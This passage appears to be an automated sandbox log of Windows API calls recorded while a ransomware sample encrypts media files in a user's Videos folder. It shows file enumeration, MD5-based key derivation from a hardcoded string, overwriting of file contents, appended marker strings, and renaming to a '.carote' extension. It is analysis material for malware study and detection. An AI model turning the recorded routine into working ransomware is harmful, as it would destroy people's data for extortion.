Size=0x73e0) returned 0x7b182e0 [0113.205] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.205] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.205] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x73d2, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x73d2, lpOverlapped=0x0) returned 1 [0113.205] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.205] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x73d7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.205] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0113.205] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0113.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0113.205] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0113.205] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.205] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c2b8 | out: hHeap=0x5010000) returned 1 [0113.205] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.205] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0113.205] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.205] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.205] CloseHandle (hObject=0x61c) returned 1 [0113.206] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f228 [0113.206] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8a0) returned 0x7b182e0 [0113.206] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f228 | out: hHeap=0x5010000) returned 1 [0113.206] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DaYAfKh5e.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dayafkh5e.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DaYAfKh5e.mkv.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dayafkh5e.mkv.carote")) returned 1 [0113.207] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.207] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.208] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20998 | out: hHeap=0x5010000) returned 1 [0113.208] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dee73e0, ftCreationTime.dwHighDateTime=0x1d4d3a9, ftLastAccessTime.dwLowDateTime=0xb7188290, ftLastAccessTime.dwHighDateTime=0x1d4d215, ftLastWriteTime.dwLowDateTime=0xb7188290, ftLastWriteTime.dwHighDateTime=0x1d4d215, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DflAw", cAlternateFileName="")) returned 1 [0113.208] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecc60 [0113.208] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xbe) returned 0x7a20998 [0113.208] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecc60 | out: hHeap=0x5010000) returned 1 [0113.208] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f228 [0113.208] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f190 [0113.208] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f228 | out: hHeap=0x5010000) returned 1 [0113.208] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20998 | out: hHeap=0x5010000) returned 1 [0113.208] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b692320, ftCreationTime.dwHighDateTime=0x1d4d40c, ftLastAccessTime.dwLowDateTime=0x185603b0, ftLastAccessTime.dwHighDateTime=0x1d4d505, ftLastWriteTime.dwLowDateTime=0x185603b0, ftLastWriteTime.dwHighDateTime=0x1d4d505, nFileSizeHigh=0x0, nFileSizeLow=0x93ec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DwSCY.flv", cAlternateFileName="")) returned 1 [0113.208] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecc60 [0113.208] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xbe) returned 0x7a20998 [0113.208] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecc60 | out: hHeap=0x5010000) returned 1 [0113.208] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DwSCY.flv") returned=".flv" [0113.208] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DwSCY.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dwscy.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.208] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=37868) returned 1 [0113.208] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.210] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x93c6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.210] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.211] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.211] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x93ec, lpOverlapped=0x0) returned 1 [0113.212] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.212] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0113.212] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.212] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.212] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecc60) returned 1 [0113.213] CryptCreateHash (in: hProv=0x50ecc60, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.213] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.213] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.213] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0113.213] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.213] GetLastError () returned 0x0 [0113.213] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.213] CryptReleaseContext (hProv=0x50ecc60, dwFlags=0x0) returned 1 [0113.213] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.213] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x93f0) returned 0x7b182e0 [0113.213] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.213] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.213] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x93e7, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x93e7, lpOverlapped=0x0) returned 1 [0113.214] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.214] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x93ec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.214] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0113.214] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0113.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0113.214] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0113.214] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.214] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c2b8 | out: hHeap=0x5010000) returned 1 [0113.214] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.214] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0113.214] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.214] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.214] CloseHandle (hObject=0x61c) returned 1 [0113.215] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f228 [0113.215] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8a0) returned 0x7b182e0 [0113.215] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f228 | out: hHeap=0x5010000) returned 1 [0113.215] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DwSCY.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dwscy.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DwSCY.flv.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dwscy.flv.carote")) returned 1 [0113.215] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.215] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.216] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20998 | out: hHeap=0x5010000) returned 1 [0113.216] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75c36130, ftCreationTime.dwHighDateTime=0x1d4d129, ftLastAccessTime.dwLowDateTime=0x50166cb0, ftLastAccessTime.dwHighDateTime=0x1d4d323, ftLastWriteTime.dwLowDateTime=0x50166cb0, ftLastWriteTime.dwHighDateTime=0x1d4d323, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="L0lT", cAlternateFileName="")) returned 1 [0113.216] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecc60 [0113.216] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecf08 [0113.216] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ec028 [0113.216] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecf08 | out: hHeap=0x5010000) returned 1 [0113.217] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecc60 | out: hHeap=0x5010000) returned 1 [0113.217] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f846bb0, ftCreationTime.dwHighDateTime=0x1d4c8d1, ftLastAccessTime.dwLowDateTime=0x8976f230, ftLastAccessTime.dwHighDateTime=0x1d4d2e3, ftLastWriteTime.dwLowDateTime=0x8976f230, ftLastWriteTime.dwHighDateTime=0x1d4d2e3, nFileSizeHigh=0x0, nFileSizeLow=0xcee4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sei rtyE45SJ8ir5jsS.swf", cAlternateFileName="SEIRTY~1.SWF")) returned 1 [0113.217] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecc60 [0113.217] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xbe) returned 0x7a20998 [0113.217] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecc60 | out: hHeap=0x5010000) returned 1 [0113.217] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\sei rtyE45SJ8ir5jsS.swf") returned=".swf" [0113.217] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\sei rtyE45SJ8ir5jsS.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\sei rtye45sj8ir5jss.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.217] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=52964) returned 1 [0113.218] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.219] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xcebe, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.219] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.220] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0113.220] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.220] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.220] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0xcee4, lpOverlapped=0x0) returned 1 [0113.221] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.221] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0113.221] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.221] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.221] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecc60) returned 1 [0113.222] CryptCreateHash (in: hProv=0x50ecc60, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.222] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.222] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.222] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0113.222] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.222] GetLastError () returned 0x0 [0113.222] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.222] CryptReleaseContext (hProv=0x50ecc60, dwFlags=0x0) returned 1 [0113.222] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.222] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xcee0) returned 0x7b182e0 [0113.223] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.223] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.223] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0xcedf, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0xcedf, lpOverlapped=0x0) returned 1 [0113.223] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.223] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xcee4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.223] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0113.223] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0113.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0113.223] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0113.223] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.223] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c2b8 | out: hHeap=0x5010000) returned 1 [0113.223] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.223] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0113.223] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.223] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.223] CloseHandle (hObject=0x61c) returned 1 [0113.224] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b162f8 [0113.224] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8c0) returned 0x7b182e0 [0113.224] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b162f8 | out: hHeap=0x5010000) returned 1 [0113.224] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\sei rtyE45SJ8ir5jsS.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\sei rtye45sj8ir5jss.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\sei rtyE45SJ8ir5jsS.swf.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\sei rtye45sj8ir5jss.swf.carote")) returned 1 [0113.225] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.225] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.226] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20998 | out: hHeap=0x5010000) returned 1 [0113.226] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f846bb0, ftCreationTime.dwHighDateTime=0x1d4c8d1, ftLastAccessTime.dwLowDateTime=0x8976f230, ftLastAccessTime.dwHighDateTime=0x1d4d2e3, ftLastWriteTime.dwLowDateTime=0x8976f230, ftLastWriteTime.dwHighDateTime=0x1d4d2e3, nFileSizeHigh=0x0, nFileSizeLow=0xcee4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sei rtyE45SJ8ir5jsS.swf", cAlternateFileName="SEIRTY~1.SWF")) returned 0 [0113.226] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0113.226] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05da0 | out: hHeap=0x5010000) returned 1 [0113.226] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0113.226] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0113.226] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c250 | out: hHeap=0x5010000) returned 1 [0113.226] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0113.226] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c320 | out: hHeap=0x5010000) returned 1 [0113.226] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48150 | out: hHeap=0x5010000) returned 1 [0113.226] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ebfa0 | out: hHeap=0x5010000) returned 1 [0113.226] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.226] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ed018 | out: hHeap=0x5010000) returned 1 [0113.226] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecce8 | out: hHeap=0x5010000) returned 1 [0113.226] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48a38 | out: hHeap=0x5010000) returned 1 [0113.226] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48240 | out: hHeap=0x5010000) returned 1 [0113.226] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48420 | out: hHeap=0x5010000) returned 1 [0113.226] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48678 | out: hHeap=0x5010000) returned 1 [0113.226] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48600 | out: hHeap=0x5010000) returned 1 [0113.226] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a486f0 | out: hHeap=0x5010000) returned 1 [0113.226] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac0de8 | out: hHeap=0x5010000) returned 1 [0113.226] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48588 | out: hHeap=0x5010000) returned 1 [0113.226] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac0aa8 | out: hHeap=0x5010000) returned 1 [0113.226] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecd70 | out: hHeap=0x5010000) returned 1 [0113.227] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48510 | out: hHeap=0x5010000) returned 1 [0113.227] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48498 | out: hHeap=0x5010000) returned 1 [0113.227] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0113.227] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48948 | out: hHeap=0x5010000) returned 1 [0113.227] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ece80 | out: hHeap=0x5010000) returned 1 [0113.227] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14c20 | out: hHeap=0x5010000) returned 1 [0113.227] RtlAllocateHeap 